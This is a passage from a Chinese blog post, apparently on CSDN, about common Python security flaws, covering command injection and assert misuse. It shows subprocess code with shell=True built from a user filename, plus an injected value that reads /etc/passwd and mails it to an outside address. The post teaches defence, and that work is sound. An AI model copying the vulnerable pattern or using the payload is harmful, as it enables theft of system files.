Python 开发中 10 个常见的安全漏洞

本文介绍了Python开发中常见的安全问题,包括输入注入、命令注入、assert语句误用、计时攻击、临时文件风险、不安全的yaml.load使用等,并提供了相应的修复建议。学习如何在Python编程中确保代码安全,防止被滥用,适用于网络安全和信息安全专业人员。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  1. 输入注入(Input injection)

注入攻击非常广泛而且很常见,注入有很多种类,它们影响所有的语言、框架和环境。

命令注入可能在使用popen、subprocess、os.system 调用一个进程并从变量中获取参数时发生,当调用本地命令时,有人可能会将某些值设置为恶意值。

下面是个简单的脚本,使用用户提供的文件名调用子进程:

import subprocess

def transcode_file(request, filename):

command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)

subprocess.call(command, shell=True)  # a bad idea!

攻击者会将filename 的值设置为“; cat / etc / passwd | mailthem@domain.com 或者其他同样危险的东西。

修复:

如果你使用了Web 框架,可以用附带的实用程序对输入进行清理,除非有充分的理由,否则不要手动构建 SQL 查询,大多数 ORM 都具有内置的消毒方法。

对于shell,可以使用 shlex 模块正确地转义输入。

  1. assert 语句(Assert statements)

不要使用assert 语句来防止用户访问不应访问的代码段。

def foo(request, user):

assert user.is_admin, “user does not have access”

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值